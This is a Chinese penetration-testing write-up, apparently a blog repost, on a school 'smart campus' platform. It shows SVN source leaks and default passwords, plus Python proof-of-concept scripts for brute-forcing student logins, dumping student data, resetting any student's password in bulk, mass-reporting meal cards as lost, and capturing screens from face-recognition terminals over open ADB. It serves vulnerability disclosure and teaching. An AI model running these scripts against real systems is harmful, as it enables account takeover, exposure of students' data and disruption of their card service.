1. 首页
  2. 渗透测试

记一次授权渗透测试与智慧校园一轮游(上卷)

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

文章首发于火线Zone社区(https://zone.huoxian.cn/)

一、前言

本文第三部分已得到授权,智慧校园系统不在测试范围内(已提交漏洞报告)。

如发现存在问题发送邮件到:UzJuer@163.com

关于如何挖逻辑漏洞的思维图

记一次授权渗透测试与智慧校园一轮游(上卷)

二、智慧校园系统

111111

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxxx.com svn泄露

Ps:后台截图(漏洞已上报并已修复)

记一次授权渗透测试与智慧校园一轮游(上卷)

1.1 漏洞复现

目录扫描

记一次授权渗透测试与智慧校园一轮游(上卷)

通过目录扫描发现存在.svn,使用svnExploit可下载文件

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

一些简单的html和js,没有发现一些比较有用的东西。

不过比较有意思的是,我在这些文件中找到一些代码。

记一次授权渗透测试与智慧校园一轮游(上卷)

这里action指向的地址,简述一下,该平台使用云服务一样的桌面池来管理机器,登录后可访问云磁盘与云桌面池(四台ubuntu服务器,其中一台个人PC,里面有平台源代码,一台Centos)

记一次授权渗透测试与智慧校园一轮游(上卷)

这⾥给出的账号是admin 密码是abc@123 尝试后发现密码是123456

记一次授权渗透测试与智慧校园一轮游(上卷)

这上⾯有⽤的就是这个桌⾯池能直接连接到⼏台计算机。

记一次授权渗透测试与智慧校园一轮游(上卷)

账号admin,密码123456

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

密码123456

记一次授权渗透测试与智慧校园一轮游(上卷)

看包和代码好像是这个云平台的源代码

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

222222

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxx.com:58080 svn泄露

(源代码)

2.1 漏洞复现

目录扫描后发现svn

记一次授权渗透测试与智慧校园一轮游(上卷)

下载文件,这次需要下载的文件比较多,均为源代码。

记一次授权渗透测试与智慧校园一轮游(上卷)

333333

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxx.com:58080 弱口令

(家长,学生,老师)

3.1 漏洞复现

教育平台弱口令,WIFI+手机+Burp抓包后发现其实公众号上的智慧校园对接的是www.xxx-xxx.com。

获取服务器信息后,扫描发现一个58080端口,然后需要登录,猜测一下账号就是学号,密码88888888,000000,00000000,发现尝试后密码为88888888

记一次授权渗透测试与智慧校园一轮游(上卷)

尝试20201008,密码88888888(但是没有权限,但是可以挂失卡,大概猜测挂失后应该卡就刷不了了吧)

记一次授权渗透测试与智慧校园一轮游(上卷)

而在这里可以挂失任何一张卡

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

老师的账号

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

444444

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxx.com:58080 

学生账号可批量爆破

4.1 漏洞复现

burp抓包后丢Repeater,没有验证码,没有任何验证,比较常规的暴力破解。

记一次授权渗透测试与智慧校园一轮游(上卷)

改一下post参数发现好像没有别的验证,例如验证码,自己用Python写了一个脚本。

Poc如下:

import requests as req
import user_agent
import time




def getUserPassBruteForce():
# default UserPassword
userPassWordList = ['88888888', '00000000', '12345678', '666666']
gradeNumList = 2020
defaultPass = 88888888
try:
for num in range(1000, 10000):
r = "http://xxx-xxx.com:port/xxxxx.do?checkxuser"
proxies = {
'https': 'https://127.0.0.1:1087',
'http': 'http://127.0.0.1:1087',
'socks5': 'socks5://127.0.0.1:1086'
}
headers = {
# "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:87.0) Gecko/20100101 Firefox/87.0",
# set random UA
"User-Agent": user_agent.generate_user_agent(),
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": '44',
"Cookie": "JSESSIONID=6024BAA35FE8174BAD11FE3",
"Origin": "http://xxx-xxx.com:port",
"Referer": "http://xxx-xxx.com:port/"
}
data = {
"userName": str(gradeNumList) + str(num),
#"password": getResultUserPasswordList,
"password": 88888888,
"loginDutyId": 1
}
# proxy
# result = req.post(url=r, headers=headers, data=data, proxies=proxies)
# not proxy
result = req.post(url=r, headers=headers, data=data)
print(result.text)
if '操作成功' in result.text:
print(
"[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format(
defaultPass))
print('-' * 50)
print("[*]wait 3 second.... Prevent IP from being ban")
print("[+]LoginSucess info wirte file")
f = open('loginSucess.txt', mode='a+', encoding='utf-8')
f.writelines(
"[+]Success login" + "\n" + "[+]loginUserName:{}{}".format(gradeNumList,num) + "\n" + "[+]loginPassword:{}".format(
defaultPass) + '\n' + '-' * 40)
time.sleep(3)
# sucessCode += 1
else:
print("[-]falid" + '\n' + 'ErrorUserName:{}{}'.format(gradeNumList,num))
# falidCode += 1

except req.exceptions.ConnectionError:
pass

脚本运行结果(只要返回的信息里面有操作成功,就是密码正确)

记一次授权渗透测试与智慧校园一轮游(上卷)

555555

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxx.com

任意学生信息泄露

5.1 漏洞复现

我们通过教师登录平台发现可以查询学生信息,抓取接口后,未做验证可重复查询。

Poc如下:

import requests as req

def getStudentinfoF(getSearchName):
# test = ‘2020’ + getSearchName
getURL = ‘http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732×9532114’
headers = {
‘Accept’: ‘*/*’,
‘Origin’: ‘http://www.xxx-xxx:port’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, ‘
‘like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 ‘
‘MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 ‘
‘NetType/WIFI Language/zxh_CN ABI/arm64’,
‘Content-Type’: ‘application/x-www-formx-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘JSESSIONID=AF1x08444123ED874D426F7’,
}
data = {
‘childs’: ’37bd371c2b0a123a2937~9001~%C3%A9%C%A5%23
‘value’: getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)

 

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

666666

记一次授权渗透测试与智慧校园一轮游(上卷)

www.xxx-xxx.com:port 任意用户密码重置

(可批量爆破)

挖掘思路,平台PC是没有给出修改密码的接口的,但是手机中的智慧校园是有修改密码的功能的,WIFI+Burp代理(记得上证书,不然容易报错),对接口并没有验证,也没有请求次数的限制。

6.1 漏洞复现

先抓一个包,重放,没做验证,写脚本前需要先知道2个东西,第一就是childs这个参数为xxxxxxx9001xxxxxxx1需要获取其中的两个参数,这两个参数第一个为用户的ID,具体怎么生成的不知道,看着像MD5,第二个为姓名,URL编码后的。

记一次授权渗透测试与智慧校园一轮游(上卷)

poc代码如下:

下面的代码思路,既然我们想更改任意账号的密码,唯一的要求就是xxx9001xxx1这个参数第一个xxx哪里来呢?

第一个XXX可以在前面的任意学生信息获取漏洞中拿到,获取学生信息中返回的数据有个叫picurl这个参数是学生的照片地址,但是照片的名字去掉.jpg就是这段我们需要的数据。

第二个xxx很显然,不麻烦,就是学生的姓名,照这个思路,我们只需要让getStudentinforeturn返回一个数据,然后用正则匹配出来这段URL即可,然后用format把对应的参数填进去即可。

那么如何批量的修改学生账号密码呢,这里给出一种思路,我在漏洞5-水平越权中可以使用学生学号查询学生的信息。

例如我需要更改20级弱口令学生的密码,那么只需要2020+range(1000, 9999)即可 修改21级以此类推一个原理,再用正则匹配一下url,和name即可做到批量修改密码。

import requests as req
import getStudentinfo
import re

userDefaultPassword = ‘88888888’
changeNewPassword = ‘123456789’
def changeUserpassword(searchName):
reusltinfo = getStudentinfo.getStudentinfoF(searchName)
re_resultinfo = re.findall(r’http://www.xxx-xx.com:xxx/xxxx/xxxx/(.*?).jpg”‘, reusltinfo)
r = ‘http://xxxx.com/xxxx/xxxxx.do?updatePassword’
data = {
‘childs’: ‘{}~9001~{}~1’.format(re_resultinfo[0], searchName),
‘oldpwd’: userDefaultPassword,
‘newpwd1’: changeNewPassword,
‘fun’: ‘xgmm_xs’ #This parameter means to change the student’s password. If it is to change the teacher’s password, the parameter here is xgmm_js
}
headers = {
‘Host’: ‘www.xxx.comm’,
‘Accept’: ‘*/*’,
‘Origin’: ‘http://xxxx.com’,
‘X-Requestsed-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘UA’,
‘Referer’: ‘http://xxxx-xxx.com/xxxxx/xxxxxxx.do?toTeacherPage&fun=jsxgmm&childs=XXXXXX~9001~xxxxxx~1&flag=1’,
‘Cookie’: ‘JSESSIONID=81E52xxF12308DB5C2008E9131BF20B’
}
result = req.post(url=r, headers=headers, data=data)
print(result.text)
print(‘[+]Change password to’, changeNewPassword)

# getUserinput = input(‘[+]Please Input NewUserPassowrd:’)
# getOldPassowrd = input(‘[+]Please Input oldUserpassowrd:’)
getsearchName = input(‘[+]Please Input SearchName:’)

# This Function is not Input oldPassword
changeUserpassword(searchName=getsearchName)

# This Function is define User Input oldPassword
# changeUserpassword(getNewUserPassword=getUserinput, getOldUserPassword=getOldPassowrd, searchName=getsearchName)

记一次授权渗透测试与智慧校园一轮游(上卷)

777777

记一次授权渗透测试与智慧校园一轮游(上卷)

水平越权—www.xxx-xxx.com:port

可导致大量学生饭卡挂失

挖掘思路为对抓到能重放的POST请求,我都会进行重放,该系统都没有做验证。

7.1 漏洞复现

先上图

记一次授权渗透测试与智慧校园一轮游(上卷)

POC如下:

import requests as req

def getStudentinfoF(getSearchName):
# test = ‘2020’ + getSearchName
getURL = ‘http://www.xxx-xxx:port/xxxxx/xxxxxxx.do?getStuInfxos&_=1611732×9532114’
headers = {
‘Accept’: ‘*/*’,
‘Origin’: ‘http://www.xxx-xxx:port’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Linux; Androidx 10; TNY-AL00 Build/HUAWEITNY-AL00; wv) AppleWebKit/537.36 (KHTML, ‘
‘like Gecko) Version/4.0 Chroxme/77.0.3865.120 MQQBrowser/6.2 TBS/045521 Mobile Safari/537.36 ‘
‘MMWEBID/7559 MicroMessengxer/7.0.15.1660(0x27000F11) Process/tools WeChat/arm64 ‘
‘NetType/WIFI Language/zxh_CN ABI/arm64’,
‘Content-Type’: ‘application/x-www-formx-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx:port/wexixin/weixinController.do?toTeacherPage&fun=getstuinfo&childs=37bd317x15123%x85~2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘JSESSIONID=AF1x08444123ED874D426F7’,
}
data = {
‘childs’: ’37bd371c2b0a123a2937~9001~%C3%A9%C%A5%23
‘value’: getSearchName
}
result = req.post(url=getURL, headers=headers, data=data)
print(result)

(利用条件:比如有一个登录了cookie并且不能关闭,然后把cookie填入headers中即可,自动化思路也不麻烦,使用requests.session即可,这里就不再赘述)

但是这个有个缺点是不能定向的攻击,意思是,虽然可以登录任意学生账号,但是如果该学生修改密码了,那平台是无法登陆的,那么post请求中的cardid这个参数是拿不到的。

因为暂时没发现是如何转换的这个参数,也可能是按顺序生成的,所以只能批量的让一定范围(例如130000->200000)这些数字的卡挂失。

import requests as req

def DropStudentid():
# default range (100000 -> 999999)
for num in range(135610, 200000):
getURL = “http://www.xxx-xxx.com:port/xxxxxx.Card&cardid={}”.format(num)

headers = {
‘Content-Length’: ’29’,
‘Origin’: ‘http://www.xxx-xxx.com:ports’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36’,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘Referer’: ‘http://www.xxx-xxx.com:port/userController.do?goLoseCard&_=16181456343224’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept-Language’: ‘zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7’,
‘Cookie’: ‘Q_GENERATEINDEXSTYLE1=shortcut; JSESSIONID=2535611101D2116BB’,
}
data = {
‘cardstatus’:’正常’, #url编码
}
getResult = req.post(url = getURL, headers = headers, data = data)
print(getResult.status_code)
print(getResult.text)

888888

记一次授权渗透测试与智慧校园一轮游(上卷)

人脸识别终端adb未授权访问

8.1 漏洞复现

漏洞原理不难,其实也不算是漏洞,因为是通过adb来调试,设备打开了远程调试,所以导致可以连接(但只局限于内网,要发到外网也不麻烦,在内网控一台安卓设备后,外网拿这台设备做跳板即可)

先演示写好的Poc

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游(上卷)

Poc代码如下:每一台手动的去ADB会比较麻烦,用Python写好脚本一键执行更加方便,并且我需要执行命令只需要更改部分代码即可。

import os
import datetime
import sys
import time

adbShellDefault_shell = ‘adb shell ‘
adbShellDefault_Connect = ‘adb connect ‘
adbShellDefault_Screencap = ‘adb shell screencap -p /sdcard/1.png’
# adbShellDefault_pullScreencap = ‘adb pull /sdcard/1.png /Users/apple/Desktop/xxx/TestWebSitePoc/’
adbShellDefault_disconnect = ‘adb disconnect ‘
now_time = datetime.datetime.now().strftime(‘%Y-%m-%d:%H:%M:%S’)

def getAdbFaceAuthentication_getScreenCap(OpenPortAddressList):
print(‘[*]Now Connect device ip:’, OpenPortAddressList)
os.system(adbShellDefault_Connect + OpenPortAddressList) # connect device

print(‘[+]get Screen to sdcard’)
os.system(adbShellDefault_Screencap) # img save to sdcard directory

print(‘[+]Create a new directory’)
# os.system(‘mkdir /FaceAuthenticationImage/’ + OpenPortAddressList) # Create new Directory

print(‘[+]get Device to local directory’)
adbShellDefault_pullScreencap = ‘adb pull /sdcard/1.png /Users/apple/Desktop/xxx/xxx/FaceAuthenticationImage/{}/{}.png’.format(
OpenPortAddressList, now_time)
os.system(adbShellDefault_pullScreencap)# from device pull img save local

# os.system(adbShellDefault_pullScreencap) # from device pull img save local
print(‘[+]Disconnect device connect’)
os.system(adbShellDefault_disconnect + OpenPortAddressList)

if __name__ == ‘__main__’:
# print(logo)
OpenPortAddressList = [‘iplist’]
for push in OpenPortAddressList:
getAdbFaceAuthentication_getScreenCap(push)
# outPutinfoflush()

记一次授权渗透测试与智慧校园一轮游(上卷)

记一次授权渗透测试与智慧校园一轮游上卷,就到这结束了,下卷将演示某次授权渗透测试的部分,我们明天见!

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/3577.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息